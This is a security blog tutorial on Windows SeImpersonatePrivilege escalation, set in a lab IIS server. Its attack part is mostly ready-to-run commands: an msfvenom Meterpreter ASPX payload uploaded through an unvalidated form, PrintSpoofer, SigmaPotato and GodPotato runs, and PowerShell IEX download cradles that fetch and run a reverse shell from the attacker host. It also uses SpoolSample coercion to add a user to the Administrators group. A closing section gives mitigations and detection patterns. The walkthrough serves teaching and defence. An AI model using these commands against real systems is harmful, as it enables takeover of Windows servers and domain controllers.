Privilege Escalation

Windows Privilege Escalation: SeImpersonate Privilege

Introduction

Internet Information Services (IIS) hosts a significant share of corporate intranet applications. Its worker processes run by default under the IIS APPPOOL\DefaultAppPool service identity, and that identity ships with SeImpersonatePrivilege enabled — the single Windows capability that converts a low-privileged web shell into a SYSTEM shell. This article walks through the entire attack chain end to end. It begins by provisioning a Windows Server 2019 IIS host, deploys a deliberately weak ASPX upload application, weaponises an msfvenom payload, lands a Meterpreter foothold, escalates to SYSTEM through Named Pipe Impersonation, and then expands the operator’s arsenal with four standalone tools — PrintSpoofer, SigmaPotato, GodPotato, and SpoolSample — that achieve the same outcome through subtly different primitives.

The objective is to demonstrate every step of the kill chain as a single, reproducible exercise in a controlled lab so that defenders can recognise, monitor, and ultimately neutralise each link. The article closes with a dedicated mitigation section that maps every offensive primitive to a concrete defensive control.

Table of contents

  • Part 1 — Installing the IIS Web Server Role
    • Launch the Add Roles and Features Wizard
    • Acknowledge the Prerequisites
    • Select the Destination Server
    • Enable the Web Server (IIS) Role
    • Add HTTP Activation Under WCF Services
    • Review the Web Server Role Description
    • Confirm the Default Role Services
    • Confirm and Install
  • Part 2 — Deploying the Vulnerable Web Application
    • Download IIS Configuration Files
    • Place the Files in the IIS Web Root
    • Update iisstart.htm to Point to the Web Server
  • Part 3 — Granting Write Permissions on wwwroot
    • Open Edit Permissions from IIS Manager
    • Select the Users Group and Click Edit
    • Grant Full Control to the Users Group
  • Part 4 — Exploiting the File Upload Vulnerability
    • Access the Vulnerable Upload Form
    • Craft a Meterpreter ASPX Payload with msfvenom
    • Upload the ASPX Payload via the Vulnerable Form
    • Trigger the Payload by Requesting It
  • Part 5 — Catching the Reverse Shell and Escalating with getsystem
    • Start the Multi/Handler and Land a Meterpreter Session
    • Escalate to SYSTEM via Named Pipe Impersonation
  • Part 6 — Standalone Exploitation with PrintSpoofer
    • Grab the Compiled Binary from GitHub
    • Upload the Binary to the Compromised Host
    • Execute PrintSpoofer and Spawn an Interactive SYSTEM Shell
  • Part 7 — Reverse Shells with SigmaPotato
    • Fetch SigmaPotato from the v1.2.6 Release
    • Pull the Binary onto the Victim and Run a SYSTEM Whoami
    • Use the Built-in –revshell Flag for a PowerShell Callback
    • Catch the Callback on the Attacker
  • Part 8 — Version-Portable Exploitation with GodPotato
    • Run GodPotato with a Simple Command
    • Generate a Base64 PowerShell Payload
    • Verify the Hosted Payload
    • Catch the SYSTEM Reverse Shell
  • Part 9 — The Printer Bug with SpoolSample
    • Confirm the Low-Privilege Foothold via Evil-WinRM
    • Stage PrintSpooferLocal and Open the Listening Pipe
    • Coerce the Spooler with SpoolSample
    • Confirm sanjeet Joined the Administrators Group
    • One-Shot Variant — SpoolSampleModified-x64
    • Catch the Coerced-Spooler Reverse Shell
  • Mitigation Strategies
    • Harden the IIS Surface
    • Restrict SeImpersonatePrivilege
    • Neutralise the Print Spooler Attack Surface
    • Detection and Monitoring
    • Network and Identity Controls
  • Conclusion

Lab targets — Victim: Windows Server 2019 (DC.ignite.local, 192.168.1.11)   |   Attacker: Kali Linux (192.168.1.17).

Download All Compailed Binaries

Part 1 — Installing the IIS Web Server Role

Launch the Add Roles and Features Wizard

Open Server Manager, click the Manage menu in the top-right ribbon, and select Add Roles and Features. This launches the wizard that drives every role and feature installation on Windows Server.

Acknowledge the Prerequisites

The Before You Begin page reminds the administrator to verify three baseline items: a strong Administrator password, configured static network settings, and the latest Windows Update patches. Confirm these conditions and click Next to advance the wizard.

Select the Destination Server

On the Server Selection screen, choose Select a server from the server pool and highlight the target host. In this lab the destination is DC.ignite.local at 192.168.1.11, running Windows Server 2019 Standard Evaluation.

Enable the Web Server (IIS) Role

Scroll through the Roles list and tick Web Server (IIS). The wizard immediately prompts for the supporting management tools — accept the dependency. The right-hand description confirms that IIS provides a reliable, manageable, and scalable web application infrastructure.

Add HTTP Activation Under WCF Services

Expand .NET Framework 4.7 Features → WCF Services and enable HTTP Activation. This feature lets ASP.NET applications start and stop dynamically in response to inbound HTTP traffic — essential for the ASPX payload that will be uploaded later.

Review the Web Server Role Description

The Web Server Role (IIS) screen summarises what is about to be installed: IIS 10.0 with ASP.NET, Windows Communication Foundation integration, default static-content serving, and basic logging. Click Next to proceed.

Confirm the Default Role Services

The wizard pre-selects the most common role services — Common HTTP Features, Health and Diagnostics, Performance, and Security. Leave the defaults intact; they are sufficient to host the vulnerable ASPX application used in this exercise.

Confirm and Install

The Confirmation page lists every selected role, role service, and feature. Review the manifest and click Install. The wizard then provisions IIS, ASP.NET 4.7, the IIS Management Console, and all selected dependencies.

Part 2 — Deploying the Vulnerable Web Application

Download IIS Configuration Files

Clone or download the IIS Config Files.zip archive from the Ignite Technologies GitHub repository titled Windows-Privilege-Escalation-SeImpersonatePrivilege. The archive bundles two ASPX upload pages (CS.aspx and VB.aspx), an Uploads directory, and a modified iisstart.htm landing page.

Place the Files in the IIS Web Root

Extract the archive contents directly into C:\inetpub\wwwroot — the canonical IIS document root. The folder now contains the ASPX upload handlers (CS.aspx, VB.aspx), the writable Uploads directory, and the replacement iisstart.htm.

Update iisstart.htm to Point to the Web Server

Open iisstart.htm in Notepad and update the anchor tag’s href value so that the landing image links to the upload handler on the live server — http://192.168.1.11/CS.aspx. Save the file. Any visitor hitting the IIS root is now one click away from the vulnerable upload form.

Part 3 — Granting Write Permissions on wwwroot

Open Edit Permissions from IIS Manager

Launch Internet Information Services (IIS) Manager, expand the server node, navigate to Sites → Default Web Site, and click Edit Permissions in the Actions pane on the right. This opens the NTFS Properties dialog for C:\inetpub\wwwroot.

Select the Users Group and Click Edit

On the Security tab of the wwwroot Properties dialog, select the Users (IGNITE\Users) group and click Edit. The default ACL only grants Read & execute; the upload form requires Write access to the Uploads subdirectory.

Grant Full Control to the Users Group

In the Permissions for wwwroot window, tick Allow → Full control for the Users group and apply the change. This is the misconfiguration that makes the upload form usable — and the same misconfiguration that real-world attackers exploit when a developer over-permissions the IIS web root.

Part 4 — Exploiting the File Upload Vulnerability

Access the Vulnerable Upload Form

From the attacker’s Kali host, navigate a browser to http://192.168.1.11/cs.aspx. The page renders an unauthenticated file-upload form with a Browse button, an Upload submit button, and a status banner that reads No files uploaded. There is no file-type validation, no authentication, and no rate limiting — every condition required for arbitrary code execution is met.

Craft a Meterpreter ASPX Payload with msfvenom

Generate a stage-loading x64 Meterpreter reverse TCP payload wrapped in an ASPX shell, configured to phone home to the attacker’s Kali interface (eth0) on port 4444. The resulting test.aspx file is 3,631 bytes and is dropped into the current working directory.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=eth0 lport=4444 -f aspx > test.aspx

Upload the ASPX Payload via the Vulnerable Form

Back in the browser, click Browse, select the newly generated test.aspx, and submit the form via Upload. The application accepts the file without inspection and writes it to the Uploads subdirectory under wwwroot.

Trigger the Payload by Requesting It

Force IIS to execute the freshly uploaded ASPX by browsing to its URL — http://192.168.1.11/Uploads/test.aspx. The request reaches the ASP.NET handler, which compiles and executes the payload in-process inside the DefaultAppPool worker. The browser stalls intentionally while the stage is delivered.

Part 5 — Catching the Reverse Shell and Escalating with getsystem

Start the Multi/Handler and Land a Meterpreter Session

On Kali, launch the Metasploit console in quiet mode, load the generic multi/handler, set the payload and listener parameters to match the msfvenom build, and run the handler. The moment the browser requests test.aspx, the staged Meterpreter session opens. Issue getuid to confirm execution context (IIS APPPOOL\DefaultAppPool) and getprivs to enumerate enabled token privileges — SeImpersonatePrivilege is present and ready to abuse.

msfconsole -q
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set lport 4444
run
getuid
getprivs

Escalate to SYSTEM via Named Pipe Impersonation

Issue the Meterpreter getsystem command. Behind the scenes, it iterates through its built-in privilege-escalation techniques and succeeds with technique 5 — Named Pipe Impersonation (PrintSpooler variant) — leveraging SeImpersonatePrivilege to steal a SYSTEM token. Drop into an interactive Windows shell and run whoami /priv to enumerate the resulting privilege set: SeTcbPrivilege, SeDebugPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, SeTakeOwnershipPrivilege, and every other SYSTEM-tier capability are now enabled. The compromise is complete.

getsystem
shell
whoami /priv

Part 6 — Standalone Exploitation with PrintSpoofer

Meterpreter’s getsystem solves the problem in one call, but defenders watch the Meterpreter signature, AV blocks the staged payload, and the operator often wants more granular control over which technique fires, which named pipe is created, and which command runs in the elevated context. The remainder of this article walks through four standalone tools that abuse SeImpersonatePrivilege without Meterpreter — beginning with PrintSpoofer, the public successor to JuicyPotato for Windows Server 2016/2019 and Windows 10 1809+. PrintSpoofer abuses the Print Spooler service: it registers a named pipe, tricks the Spooler RPC interface into authenticating to that pipe, then steals the Spooler’s SYSTEM token.

Grab the Compiled Binary from GitHub

Download PrintSpoofer64.exe (26.5 KB) from the v1.0 release page of itm4n’s PrintSpoofer repository. The 64-bit build matches the Windows Server 2019 victim; a 32-bit twin ships in the same release for legacy targets.

Upload the Binary to the Compromised Host

From the existing Meterpreter session, push the binary to C:\Users\Public, drop into a shell, and confirm the file landed on disk. C:\Users\Public is world-writable by every interactive identity, which makes it the default scratch directory for post-exploitation payloads.

upload /root/Downloads/PrintSpoofer64.exe
shell
dir

Execute PrintSpoofer and Spawn an Interactive SYSTEM Shell

Invoke PrintSpoofer64.exe with the -i flag (spawn the new process interactively in the current console) and -c cmd (the command to launch in the elevated context). The tool announces the seized privilege, signals that its named pipe is listening, confirms CreateProcessAsUser succeeded, and drops the operator into a cmd.exe instance running as the elevated principal. A whoami /priv lists every SYSTEM-tier privilege now enabled in the new token.

PrintSpoofer64.exe -i -c cmd
whoami
whoami /priv

Part 7 — Reverse Shells with SigmaPotato

SigmaPotato, by tylerdotrar, is a modern .NET refactor of the GenericPotato family. It bundles two ergonomic wins over PrintSpoofer: a built-in –revshell flag that handles base64 PowerShell bootstrapping, and a SigmaPotatoCore.exe variant for environments where AMSI or AV signatures block the main binary. The underlying primitive is identical — a named pipe trap that impersonates the connecting SYSTEM client.

Fetch SigmaPotato from the v1.2.6 Release

Open the SigmaPotato releases page on GitHub and download SigmaPotato.exe from the v1.2.6 assets. Stage the binary on the attacker’s web server so the victim can pull it directly over HTTP.

Pull the Binary onto the Victim and Run a SYSTEM Whoami

On the victim, use PowerShell’s wget alias to retrieve the binary, then invoke SigmaPotato.exe with a quoted command. The tool starts its pipe server, names the pipe \\.\pipe\SigmaPotato\pipe\epmapper, waits for the RPC trigger, impersonates the connecting client (NT AUTHORITY\NETWORK SERVICE), enumerates running processes for a SYSTEM token (locates one at PID 992), duplicates that token, and launches the supplied command in the new SYSTEM context. The Process Output line confirms the result — nt authority\system.

powershell wget http://192.168.1.17/SigmaPotato.exe -o SigmaPotato.exe
SigmaPotato.exe "whoami"

Use the Built-in –revshell Flag for a PowerShell Callback

Re-run SigmaPotato with –revshell pointing at the attacker’s IP and listening port. The tool generates a simple PowerShell reverse shell, base64-encodes the payload, writes it into an environment variable named SigmaBootstrap, and launches a powershell -c chain that reads and executes the variable. Wrapping the payload in an environment variable defeats the command-line length limit and dodges signature engines that scan for inline base64 PowerShell.

SigmaPotato.exe --revshell 192.168.1.17 9001

Catch the Callback on the Attacker

Before triggering the reverse shell, launch a netcat listener on Kali wrapped in rlwrap for readline history. The moment the impersonated SYSTEM process executes the bootstrap, a PowerShell session lands on the listener. Confirm the elevated context with whoami (nt authority\system) and enumerate the resulting privilege set with whoami /priv — every SYSTEM-tier privilege is present.

rlwrap nc -lvp 9001
whoami
whoami /priv

Part 8 — Version-Portable Exploitation with GodPotato

GodPotato is the most version-portable member of the family. Where JuicyPotato died on Server 2019 and PrintSpoofer requires a running Print Spooler service, GodPotato exploits a flaw in the DCOM/RPC marshalling layer that ships in every Windows release from 8/Server 2012 through 11/Server 2022. The trade-off is that it requires the .NET Framework version matching the binary name — GodPotato-NET4.exe targets the .NET 4.x runtime present on virtually every modern Windows host.

Run GodPotato with a Simple Command

Execute GodPotato-NET4.exe with -cmd “cmd /c whoami” to validate the exploit chain. The verbose output dumps each stage of the DCOM activation trick: resolving CombaseModule and the RPC dispatch table, hooking the protseq function, creating a named pipe at a randomized GUID path, triggering the RPCSS service, marshalling a rogue DCOM object, intercepting the callback on the pipe, enumerating the impersonated client (NT AUTHORITY\NETWORK SERVICE), searching the process list for a SYSTEM token at PID 992, and finally calling CreateProcessWithTokenW. The trailing nt authority\system confirms success.\

GodPotato-NET4.exe -cmd "cmd /c whoami"

Generate a Base64 PowerShell Payload

GodPotato has no built-in reverse-shell flag, so prepare the payload externally. Open a reverse-shell generator, set IP to 192.168.1.17 and port 9001, select Windows → PowerShell #3 (Base64), and copy the encoded one-liner. Save the resulting blob to a file named run.txt on the attacker’s web server root.

Verify the Hosted Payload

On Kali, cat run.txt to confirm the payload begins with powershell -e followed by the base64 blob. Then start a Python HTTP server in the same directory so the victim can fetch the file.

cat run.txt
python3 -m http.server 80

Invoke GodPotato with an IEX Download-Cradle

Chain GodPotato’s -cmd parameter to a PowerShell IEX cradle that downloads and executes run.txt in memory. The output mirrors Step 28 — DCOM trick stages, pipe creation, SYSTEM-token impersonation — but the executed command is now the staged reverse shell.

GodPotato-NET4.exe -cmd "powershell IEX(New-Object Net.webclient).downloadString('http://192.168.1.17/run.txt')"

Catch the SYSTEM Reverse Shell

Back on the attacker’s netcat listener, the callback arrives. whoami returns nt authority\system, and whoami /priv enumerates the full SYSTEM privilege roster — SeTcbPrivilege, SeDebugPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, SeTakeOwnershipPrivilege, and every other elevated capability.

rlwrap nc -lvp 9001
whoami
whoami /priv

Part 9 — The Printer Bug with SpoolSample

The Printer Bug (MS-RPRN abuse) is a different beast from the potato family. Instead of waiting for a SYSTEM service to authenticate to an attacker-controlled pipe, SpoolSample actively coerces it: the tool invokes RpcRemoteFindFirstPrinterChangeNotificationEx against the victim’s Print Spooler RPC interface and forces the spooler to authenticate to an arbitrary UNC path. Combined with a local named-pipe handler, this technique lets a low-privilege domain user hijack the spooler service’s identity. The scenario below assumes WinRM access as the standard domain user sanjeet.

Confirm the Low-Privilege Foothold via Evil-WinRM

Connect to the DC as sanjeet using evil-winrm with the user’s password. Enumerate the local Administrators group — sanjeet is not a member. whoami returns ignite\sanjeet and whoami /priv lists only three privileges. This is a stock domain user; there is no SeImpersonatePrivilege to abuse directly.

evil-winrm -i 192.168.1.11 -u sanjeet -p Password@1
net localgroup administrators
whoami
whoami /priv

Stage PrintSpooferLocal and Open the Listening Pipe

Drop PrintSpooferLocal.exe onto the victim via PowerShell wget. PrintSpooferLocal is a stripped variant that does only one thing — open a named pipe and wait. Launch it with –pipe \\.\pipe\test\pipe\spoolss (the path the spooler will be coerced to hit) and –cmd specifying the post-impersonation command. The tool blocks, waiting for the spooler to connect.

powershell wget http://192.168.1.17/PrintSpooferLocal.exe -o PrintSpooferLocal.exe
PrintSpooferLocal.exe --pipe \\.\pipe\test\pipe\spoolss --cmd "net localgroup administrators sanjeet /add"

Coerce the Spooler with SpoolSample

From the original WinRM session, upload SpoolSample.exe to sanjeet’s Documents folder and invoke it with the target hostname (dc) and the attacker-controlled UNC path (dc/pipe/test). SpoolSample converts an embedded DLL to shellcode, performs Reflective DLL Injection, and calls the exported RPC trigger function. The Print Spooler service, running as LocalSystem on the DC, dutifully authenticates to \\dc\pipe\test\pipe\spoolss — straight into the trap pipe from Step 34.

upload /root/Downloads/SpoolSample.exe
.\SpoolSample.exe dc dc/pipe/test

Confirm sanjeet Joined the Administrators Group

Switch back to the PrintSpooferLocal terminal. The trap pipe now reports Impersonated user is: NT AUTHORITY\SYSTEM and executes the queued net localgroup administrators sanjeet /add. A follow-up net localgroup administrators confirms sanjeet is now listed beside Administrator, Domain Admins, Enterprise Admins, and testpriv. The escalation from standard user to local administrator is complete.

net localgroup administrators

One-Shot Variant — SpoolSampleModified-x64

SpoolSampleModified-x64 collapses the two-step workflow into a single binary: it opens its own named pipe, coerces the spooler, impersonates the inbound SYSTEM identity, and runs the supplied command in one pass. The -useb flag tells it to launch the command via PowerShell’s IEX cradle with the Invoke-WebRequest -UseBasicParsing shortcut, fetching run.txt from the attacker.

SpoolSampleModified-x64.exe dc dc/pipe/test "C:\Windows\System32\cmd.exe /c powershell iex(iwr http://192.168.1.17/run.txt -useb)"

Catch the Coerced-Spooler Reverse Shell

On Kali, the netcat listener catches the callback from 192.168.1.11. whoami now returns ignite\dc$ — the DC’s machine account, which holds LocalSystem privileges on the domain controller itself. whoami /priv lists the machine-account privilege set: SeAssignPrimaryTokenPrivilege, SeTcbPrivilege, SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeDebugPrivilege, SeImpersonatePrivilege, and the rest. The coerced-spooler chain has converted a standard domain user into the host’s own SYSTEM context.

rlwrap nc -lvp 9001
whoami
whoami /priv

Mitigation Strategies

Every primitive demonstrated above maps to a concrete defensive control. The exploit chain is fast, scripted, and reliable, but each link has a corresponding configuration, hardening, or detection measure that breaks it. The recommendations below are organised by attack layer so that defenders can adopt them incrementally without rebuilding their environment.

Harden the IIS Surface

  • Strip Write and Modify permissions from IIS Users on wwwroot — the file-upload chain starts the moment the IIS worker can drop a file under the web root. Restrict the wwwroot ACL to Read & execute for the Users and IIS_IUSRS groups, and write user uploads to a separate, non-executable directory marked with a handler mapping that disables script execution.
  • Enforce strict upload validation — validate every uploaded file by magic bytes, not extension. Reject ASPX, ASHX, ASMX, CSHTML, and any file whose MIME type does not match a strict allow-list. Rename accepted files to a server-generated GUID before persisting them.
  • Isolate application pools — run each web application under a dedicated ApplicationPoolIdentity with the principle of least privilege. Where business logic permits, remove SeImpersonatePrivilege from the pool identity using a Group Policy User Rights Assignment override.
  • Disable directory browsing and explicit error pages — ensure the IIS Default Web Site does not leak directory listings or stack traces that would aid an attacker in enumerating upload paths.

Restrict SeImpersonatePrivilege

  • Audit which accounts hold the privilege — run AccessChk or a PowerShell wrapper against every server to enumerate every principal granted SeImpersonatePrivilege. Service accounts that do not legitimately need to impersonate clients — including many custom application identities — should be stripped of it via secpol.msc → Local Policies → User Rights Assignment → Impersonate a client after authentication.
  • Use Virtual Service Accounts and gMSAs — where the privilege is genuinely required, run the service under a Virtual Service Account or a Group Managed Service Account so that the credentials cannot be extracted and the privilege is narrowly scoped.
  • Apply Protected Process Light (PPL) for sensitive workloads — PPL-protected processes prevent token theft via OpenProcess and DuplicateTokenEx, neutralising the second half of every potato attack.

Neutralise the Print Spooler Attack Surface

  • Disable the Print Spooler service on domain controllers — no production DC should run the Spooler. Apply the PetitPotam and PrintNightmare guidance by setting Print Spooler to Disabled via Group Policy on every DC, and restrict it to print servers only. This single change kills PrintSpoofer, SpoolSample, and every Printer Bug coercion variant.
  • Apply Microsoft’s PointAndPrint registry hardening — set HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint\RestrictDriverInstallationToAdministrators = 1 to prevent driver-installation abuse alongside the RPC coercion.
  • Block outbound SMB authentication from member servers — use Windows Firewall outbound rules or a network ACL to prevent member-server services from authenticating to arbitrary SMB or named-pipe endpoints. This breaks the SpoolSample coercion at the network layer.

Detection and Monitoring

  • Alert on suspicious named-pipe creation — deploy a Sysmon configuration that logs Event ID 17 (Pipe Created) and Event ID 18 (Pipe Connected). Build SIEM correlations that flag pipe names matching potato-tool patterns — \\.\pipe\SigmaPotato\*, \\.\pipe\<GUID>\pipe\epmapper, \\.\pipe\spoolss created by non-spooler processes.
  • Flag DefaultAppPool spawning command interpreters — any IIS APPPOOL\* identity launching cmd.exe, powershell.exe, or wscript.exe is a high-fidelity indicator of post-exploitation. Log via Sysmon Event ID 1 (Process Create) and alert on parent-child relationships of w3wp.exe → cmd.exe / powershell.exe.
  • Detect token-theft API patterns — monitor for CreateProcessWithTokenW and CreateProcessAsUser calls issued by service-account processes against tokens they did not generate. ETW-based EDR products surface this directly; signature-based AV catches the known potato binaries themselves.
  • Watch for ASPX writes outside the deployment pipeline — any file-system event creating an .aspx, .ashx, .asmx, or .cshtml file under wwwroot outside an authorised CI/CD push is a webshell indicator. Use File Integrity Monitoring or a Sysmon FileCreate filter to alert in real time.

Network and Identity Controls

  • Enforce SMB signing and EPA — require SMB signing and Extended Protection for Authentication on every NTLM-capable service. This blunts the relay-style component of Printer Bug exploitation.
  • Adopt LAPS for local administrator accounts — the Local Administrator Password Solution randomises local-admin credentials per host, ensuring that the SYSTEM context obtained on one server cannot pivot laterally via reused credentials.
  • Constrain WinRM access — restrict the Remote Management Users group to a small operations team, require client certificate authentication where possible, and apply Just Enough Administration (JEA) endpoints for routine tasks so that a compromised user cannot land a full PowerShell session.

Conclusion

This walkthrough has traced a complete kill chain from an unauthenticated upload form to NT AUTHORITY\SYSTEM across thirty-eight reproducible steps. Three architectural truths drive every link in the chain. First, IIS worker processes ship with SeImpersonatePrivilege enabled by default, which means that any in-process code execution inside a worker carries the seed of full local compromise. Second, the Print Spooler service runs as LocalSystem on every Windows host where it is enabled, and it accepts RPC instructions that coerce outbound authentication — a primitive that turns the spooler into an attacker-controlled SYSTEM token factory. Third, the .NET and DCOM marshalling layers expose enough internal RPC surface that even when the spooler is disabled, alternative paths (GodPotato’s DCOM trick) remain viable on every supported Windows version.

Together, these truths mean the operator’s toolkit is broad, version-portable, and cheap to deploy: PrintSpoofer for the classic Spooler abuse, SigmaPotato for friction-free reverse shells, GodPotato when the Spooler is disabled, and SpoolSample when the initial foothold lacks SeImpersonatePrivilege outright. Meterpreter’s getsystem packages the same family of techniques into a single command for convenience but is signature-heavy; the standalone tools remain reliable long after Defender flags the staged payload.

The defender’s answer is configuration discipline, not a product purchase. Strip SeImpersonatePrivilege from every service identity that does not strictly require it. Disable the Print Spooler on domain controllers. Lock down wwwroot ACLs. Validate uploads on content rather than extension. Monitor for the named-pipe and token-theft patterns that every tool in this article emits unavoidably. Each one of those measures alone closes a major branch of the kill chain; together they reduce a fast, scripted compromise to a stack of failed exploit attempts that any competent SOC will detect within minutes. The exploit chain is real and reliable — but it is also entirely defeatable by the controls outlined above.

Leave a Reply

Your email address will not be published. Required fields are marked *